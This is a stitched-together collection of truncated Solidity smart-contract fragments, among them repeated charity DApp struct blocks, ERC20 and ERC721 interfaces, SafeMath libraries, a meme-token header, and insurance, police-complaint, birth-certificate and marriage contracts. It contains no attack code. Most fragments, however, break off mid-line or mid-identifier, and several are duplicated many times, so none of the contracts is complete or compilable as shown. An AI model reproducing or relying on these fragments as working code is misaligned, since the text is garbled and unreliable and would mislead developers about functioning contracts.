   address receiver;
   bool completed;
   

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    bool display;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

// Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficia

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
    
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

Beneficiary[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
addr

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct product{
    string productId;
    string productName;
    uint price;
    address seller;
    bool ongoing;

       }

struct Beneficiary{
    string description;
    uint maxContr;
    address store;
    bool complete;
    uint approvalCount;
    mapping(address => bool) approvals;
}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;
    address Address;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address p

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/*
 * @dev Provides information about the current execution context, including the
 * sender of the transaction and its data. While these are generally available
 * via msg.sender and msg.data, they should not be accessed in such a direct
 * manner, since when dealing with meta-transactions the account sending and
 * paying for execution may not be the actual sender (as far as an application
 * is concerned).
 *
 * This contract is only required for intermediate, library-like contracts.
 */
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
    /**
  

pragma solidity ^0.4.25;

/*
    Just the interface so solidity can compile properly
    We could skip this if we use generic call creation or abi.encodeWithSelector
*/
contract ERC20 {
    function totalSupply() public constant returns (uint);
    function balanceOf(address tokenOwner) public constant returns (uint balance);
    function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
    function transfer(address to, uint tokens) public returns (bool success);
    function approve(address spender, uint tokens) public returns (bool success);
    function transferFrom(address from, address to, uint tokens) public returns (bool success);
    event Transfer(address indexed from, address indexed to, uint tokens);
    event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

/*
    Generic Receiver Contract
*/
contract Receiver {
    
    address public owner;

    constructor() public {
        /* 
            Deployer's address ( Factory in our

pragma solidity >=0.6.0;

contract questFreeton{

	constructor() public {
		require(tvm.pubkey() != 0);
        tvm.accept();
	}
	uint16 constant SIEGE_TIME = 10770;
	uint24 constant QUEST_WINDOW_TIME = 86400;

	uint16 version = 0;
	uint16 questID =0;	

	struct PirateStation{
		string blkch;
		uint24[] crd;
		uint16 siegeTime;
		uint24 exculibr;
		uint24 loki;
		uint32[] tokens;
		uint16 questID;
		uint24 appearance;
	}

	struct Pool{
		string blkch;
		uint8 minStCount;
		uint8 maxStCount;
		uint24 shipsCoeff;
		uint32[] tCount;
	}

	mapping(uint32=>PirateStation) maplogs;

	function setCode(TvmCell newcode) public onlyOwner {
		tvm.setcode(newcode);
		tvm.setCurrentCode(newcode);
		onCodeUpgrade();
	}


	function onCodeUpgrade() private {
		version += 1;
	}

	modifier onlyOwner(){
		require(msg.pubkey() == tvm.pubkey(), 100);
		tvm.accept();
		_;
	}
	function genCount(uint8 _minCount,uint8 _maxCount) internal pure returns(uint8){
		rnd.shuffle();
		uint8 _countStation = _minCount + rnd.next(_maxCount - _minC

pragma solidity ^0.4.17;


contract Genuine_Charity_DApp{
  struct CharityOrg{
  string OrgName;
  address OrgAddress;
  string Desc;
}

struct Beneficiary{
    string description;
    uint maxContr;
    address recipient;
    bool complete;
}

struct Payment{
   string description;
   uint amount;
   address receiver;
   bool completed;
   uint votercount;

}

struct Donator {

    string name;
    string message;
    uint16 projectID;
    uint value;
    uint account_balance;

}

struct CoopStore{
  string StoreName;
  address StoreAddress;
  uint account_balance;

}

string[] public CharityProjects;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info struct
Donator[] public donators;  //stores data of all donators
Beneficiary[] public beneficiaries;
address public reciever;
uint public minContr;
CoopStore[] public CooperativeStores;
/* string[] public BeneficiaryInfo;  //(should be a list of structs) Duplicate, needs to be merged with the Beneficiary Upload info 

pragma solidity ^0.4.16;
pragma experimental ABIEncoderV2;

contract Owned {
    address public owner;

    function Owned() {
        owner = msg.sender;
    }

    modifier onlyOwner {
        require(msg.sender == owner);
        _;
    }

    function transferOwnership(address newOwner) public onlyOwner {
        owner = newOwner;
    }

    function getOwner() public constant returns (address) {
        return owner;
    }
}

contract FileHashStorage is Owned {
    struct File {
        string name;
        uint uploadDate;
        uint size;
    }
    mapping(string => File) private files;
    mapping(string => string[]) private fileOwners;
    string[] public owners;
    uint public ownerID = 0;

    /*
    owners = ["Jung", "Park", ...]
    fileOwners["Jung"] = ["0xABCD1234", "0xDEAD4321"] // Hashed file
    files["0xABCD1234"] = {
      name: "test_file.pdf",
      registerDate: 17203124, // Unix timestamp
      size: 154000 // Bytes
    }
    */

    event Upload(string personName, string fileHash, 

pragma solidity ^0.4.22;

contract Insurance {

  struct customer {
    bool isUidGenerated;
    string name;
    uint amountInsured;
  }

  mapping (address => customer) public customerMapping;
  mapping (address => bool) public doctorRegistered;

  address Owner;

  constructor() public {
    Owner = msg.sender;
  }

  modifier onlyOwner() {
    require (Owner == msg.sender);
    _;
  }

  function registerDoctor(address _address) public onlyOwner {
    require (!doctorRegistered[_address], "Doctor already registered!");
    doctorRegistered[_address] = true;
  }

  function generateCustomer(string _name, uint _amountInsured) public onlyOwner returns (address) {
    address uniqueId = address(sha256(msg.sender, now));
    require (!customerMapping[uniqueId].isUidGenerated, "Error occurred! Try again!");
    customerMapping[uniqueId].isUidGenerated = true;
    customerMapping[uniqueId].name = _name;
    customerMapping[uniqueId].amountInsured = _amountInsured;

    return uniqueId;
  }

  function useInsuran

/**
  
   #BEE
   
   #LIQ+#RFI+#SHIB+#DOGE = #BEE

   #SAFEMOON features:
   3% fee auto add to the liquidity pool to locked forever when selling
   2% fee auto distribute to all holders
   I created a black hole so #Bee token will deflate itself in supply with every transaction
   50% Supply is burned at start.
   

 */

pragma solidity ^0.6.12;
// SPDX-License-Identifier: Unlicensed
interface IERC20 {

    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend 

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function log(uint256 x) public view returns (uint256 y){
        assembly {
        let arg := x
        x := sub(x,1)
        x := or(x, div(x, 0x02))
        x := or(x, div(x, 0x04))
        x := or(x, div(x, 0x10))
        x := or(x, div(x, 0x100))
        x := or(x, div(x, 0x10000))
        x := or(x, div(x, 0x100000000))
        x := or(x, div(x, 0x10000000000000000))
        x := or(x, div(x, 0x100000000000000000000000000000000))
        x := add(x, 1)
        let m := mload(0x40)
        mstore(m,           0xf8f9cbfae6cc78fbefe7cdc3a1793dfcf4f0e8bbd8cec470b6a28a7a5a3e1efd)
        mstore(add(m,0x20), 0xf5ecf1b3e9debc68e1d9cfabc5997135bfb7a7a3938b7b606b5b4b3f2f1f0ffe)
        mstore(add(m,0x40), 0xf6e4ed9ff2d6b458eadcdf97bd91692de2d4da8fd2d0ac50c6ae9a8272523616)
        mstore(add(m,0x60), 0xc8c0b887b0a8a4489c948c7f847c6125746c645c544c444038302820181008ff)
        ms

pragma solidity ^0.7.0;

import "./ERC165/IERC165.sol";
import "./ERC165/ERC165.sol";
import "./utils/Address.sol";
import "./utils/EnumerableMap.sol";
import "./utils/EnumerableSet.sol";
import "./utils/SafeMath.sol";
import "./utils/Strings.sol";
import "./utils/Context.sol";
import "./utils/Ownable.sol";
import "./IERC20.sol";
import "./IMasks.sol";
import "./IERC721Enumerable.sol";

/**
 * @title ERC-721 Non-Fungible Token Standard, optional metadata extension
 * @dev See https://eips.ethereum.org/EIPS/eip-721
 */
interface IERC721Metadata is IERC721 {

    /**
     * @dev Returns the token collection name.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the token collection symbol.
     */
    function symbol() external view returns (string memory);
}

/**
 * @title ERC721 token receiver interface
 * @dev Interface for any contract that wants to support safeTransfers
 * from ERC721 asset contracts.
 */
interface IERC721Receiver {
    /**
     * @dev Wheneve

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.7.1;

/**
 * @title ERC20Basic
 * @dev Simpler version of ERC20 interface
 * @dev see https://github.com/ethereum/EIPs/issues/179
 */
contract ERC20Basic {
  uint256 public totalSupply;
  function balanceOf(address who) public constant returns (uint256);
  function transfer(address to, uint256 value) public returns (bool);
  event Transfer(address indexed from, address indexed to, uint256 value);
}

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
  function mul(uint256 a, uint256 b) internal constant returns (uint256) {
    uint256 c = a * b;
    assert(a == 0 || c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal constant returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal constant returns (uint2

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value; 
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;
}

pragma solidity 0.4.18; 
contract gfgMathPlus  
{ 
    // Declaring the state 
    // variables 
    uint firstNo=5; 
    uint secondNo=2 ; 
    
  
    // Defining the function  
    // to set the value of the  
    // first variable 
    function firstNoSet(uint x) public 
    { 
        firstNo = x; 
    } 
  
    // Defining the function 
    // to set the value of the  
    // second variable 
    function secondNoSet(uint y) public 
    { 
        secondNo = y; 
    } 
  
    // Defining the function 
    // to add the two variables 
    function add() view public returns (uint)  
    { 
        uint Sum = firstNo + secondNo ; 
          
        // Sum of two variables 
        return Sum; 
    } 
    
}

// SPDX-License-Identifier: FIRChain
pragma solidity ^0.7.1;

contract FIRChain {
    enum Roles {NoRole, PoliceStation, HeadQuarters}
    enum ComplaintType {Nil, Missing, Found}
    event verifyEvent(bool Status);
    event findMatchEvent(uint256 fid1, uint256 fid2);
    
    struct PoliceStationStruct {
        uint256 pId;
        address ethAddr;
        string name;
        string addr;
        string state;
        uint256 phno;
        Roles role;
    }
    struct FIRStruct {
        uint256 fId;
        string name;
        string details;
        string state;
        uint uniqueId;
        ComplaintType ctype;
        uint256 registeredDate;
        uint256 closedDate;
        bool findMatch;
        bool status;
    }
    mapping(uint256 => PoliceStationStruct) Police;
    mapping(uint256 => uint256) HeadQuarter;
    mapping(uint256 => uint256[]) PoliceStations;
    mapping(address => uint256) Registered;
    mapping(uint => bool) MissingStatus;
    mapping(uint => bool) FoundStatus;
    mapping(u

// Possible HashMasks fix


// 1. Add the following  to the Masks.sol on line 17 or so (new line, do not paste in "contract {" or anywhere else.
// NOTE: I removed the comments it contained to save space.
// The source of it is here: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/security/ReentrancyGuard.sol

abstract contract ReentrancyGuard {
    uint256 private constant _NOT_ENTERED = 1;
    uint256 private constant _ENTERED = 2;

    uint256 private _status;

    constructor () {
        _status = _NOT_ENTERED;
    }

    modifier nonReentrant() {
        // On the first call to nonReentrant, _notEntered will be true
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;

        _;

        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }
}




// 2. Chan

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *

pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *

pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *

pragma solidity ^0.4.17;

/**
 * @title SafeMath
 * @dev Math operations with safety checks that throw on error
 */
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        assert(c / a == b);
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // assert(b > 0); // Solidity automatically throws when dividing by 0
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        assert(b <= a);
        return a - b;
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        assert(c >= a);
        return c;
    }
}

/**
 * @title Ownable
 * @dev The Ownable contract has an owner address, and provides basic authorization control
 *

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {

 uint256 number;

    /**
     * @dev Store value in variable
     * @param num value to store
     */
    function buy(uint256 num) public {
        number = number + 1;
    }

    /**
     * @dev Return value 
     * @return value of 'number'
     */
    function get() public view returns (uint256){
        return number;
    }
  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract A {
    B b;

    function setB(B addr) public { b = addr; }

    function foo() public returns (string) {
        uint y = b.bar.gas(1)();
        assert(y == 0);
        return "Hello World";
    }
}

contract B {
    function bar() public pure returns (uint) {
        while(true) { }
        return 1;
    }

pragma solidity ^0.4.18;

contract ZombieFactory {

    uint dnaDigits = 16;
    uint dnaModulus = 10 ** dnaDigits;

    struct Zombie {
        string name;
        uint dna;
    }

    Zombie[] public zombies;

    function _createZombie(string _name, uint _dna) private {
        zombies.push(Zombie(_name, _dna));
    } 

    function _generateRandomDna(string _str) private view returns (uint) {
         uint rand = uint(keccak256(_str));
         return rand % dnaModulus;
         
    }

pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }       

pragma solidity ^0.5.9;

contract Examen {
    
    uint8 constant public minNota = 4;
    
    struct Alumno {
        bool corregido;
        bool aprobado;
        uint8 nota;
    }
    
    address public owner;
    
    mapping (address => Alumno) public alumnos;
    
    constructor () public {
        owner = msg.sender;
    }
    
    function ponerNota(address idAlumno, uint8 nota) public {
        require(msg.sender == owner);
        alumnos[idAlumno].corregido = true;
        alumnos[idAlumno].nota = nota;
        if (alumnos[idAlumno].nota >= minNota) {
            alumnos[idAlumno].aprobado = true;
        }
    }
    
    
    
        

║     HOT BALANCE    │ DISCOUNT ║
     * ╠════════════════════╪══════════╣
     * ║     0 <= x < 10000 │     0%   ║
     * ╟────────────────────┼──────────╢
     * ║ 10000 <= x < 20000 │    10%   ║
     * ╟────────────────────┼──────────╢
     * ║ 20000 <= x < 30000 │    20%   ║
     * ╟────────────────────┼──────────╢
     * ║ 30000 <= x < 40000 │    30%   ║
     * ╟────────────────────┼──────────╢
     * ║ 40000 <= x         │    40%   �

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.7.1;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;

contract Token {
  function totalSupply() constant returns (uint256 supply){}

pragma solidity >=0.4.0 <0.7.0;

contract Marriage {
	enum State{Continues, Divorced}
	State public state;
    uint proposaled_at;
	uint divorced_at;
    string giving_the_ring;
    string taking_the_ring;
    string witness1;
    string witness2;
    
    constructor(string _giving_the_ring, string _taking_the_ring, string _witness1, string _witness2) public{
		state = State.Continues;
		giving_the_ring = _giving_the_ring;
        taking_the_ring = _taking_the_ring;
		witness1 = _witness1;
		witness2 = _witness2;
		proposaled_at = now;
    }

    function divorce() public {
		state = State.Divorced;
        divorced_at = now; 
    }

    function marriage_summary() public view returns (string) {
		if (state == State.Continues){
			return string(abi.encodePacked("!!CONTINUES!! ", giving_the_ring, " -> ", taking_the_ring," time: ",  uint2str(proposaled_at)));
		}
		return string(abi.encodePacked("!!DIVORCED!! ", giving_the_ring, " -> ", taking_the_ring, " time: ",  uint2str(proposaled_at), " divorced at: ",  u

// contracts/GameItem.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.6;

import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Counters.sol";

contract Runner is ERC721 {
    using Counters for Counters.Counter;
    Counters.Counter private _tokenIds;

    constructor() public ERC721("Runner", "RNR") {}

    function awardItem(address player, string memory tokenURI)
        public
        returns (uint256)
    {
        _tokenIds.increment();

        uint256 newItemId = _tokenIds.current();
        _mint(player, newItemId);
        _setTokenURI(newItemId, tokenURI);

        return newItemId;
    }

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) status;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    // string time;
    string email;
    string location;
    // address hospitalAddr;
    // address muncipalityAddr;
    // bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (uint=>address) hospitalAddr;
  mapping (uint=>address) muncipalityAddr;
  mapping (uint=>bool) st

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.0;
contract greeter {
address owner;
string greeting;
function greeter(string _greeting) public {
greeting = _greeting;
owner = msg.sender;
}
function kill () public
{ if (msg.sender == owner) selfdestruct(owner);
}
function greet () public constant returns (string) 
{
return greeting;
}

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

// SPDX-License-Identifier: GPL-3.0

pragma solidity >=0.7.0 <0.8.0;

contract BirthChain {

  /********* Constructor to assign Government as admin *********/
  address gov;
  constructor() {
    gov = msg.sender;
  }
  
  
  /********* Structures *********/
  struct HospitalModel{
    string name;
    string location;
    string contact;
    address pubAdd;
  }

  struct MuncipalityModel{
    string location;
    string contact;
    uint pincode;
    address pubAdd;
  }

  struct BirthCertificateModel{
    string name;
    string fathersName;
    string mothersName;
    string dob;
    string time;
    string email;
    string location;
    address hospitalAddr;
    address muncipalityAddr;
    bool status;
  }

  /********* Mappings *********/
  mapping (uint=>HospitalModel) public hospital;
  mapping (uint=>MuncipalityModel) public muncipality;
  mapping (uint=>BirthCertificateModel) bc;
  mapping (address=>bool) isHospital;
  mapping (address=>bool) isMuncipality;
  mapping (bytes32=>uint) verifyedBc;
  

//Write your own contracts here. Currently compiles using solc v0.4.15+commit.bbb8e64f.
pragma solidity ^0.4.18;
contract SimpleStore {
  function set(uint _value) public {
    value = _value;
  }

  function get() public constant returns (uint) {
    return value;
  }

  uint value;

pragma solidity 0.5.16;

interface IERC20 {
  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the token decimals.
   */
  function decimals() external view returns (uint8);

  /**
   * @dev Returns the token symbol.
   */
  function symbol() external view returns (string memory);

  /**
  * @dev Returns the token name.
  */
  function name() external view returns (string memory);

  /**
   * @dev Returns the bep token owner.
   */
  function getOwner() external view returns (address);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
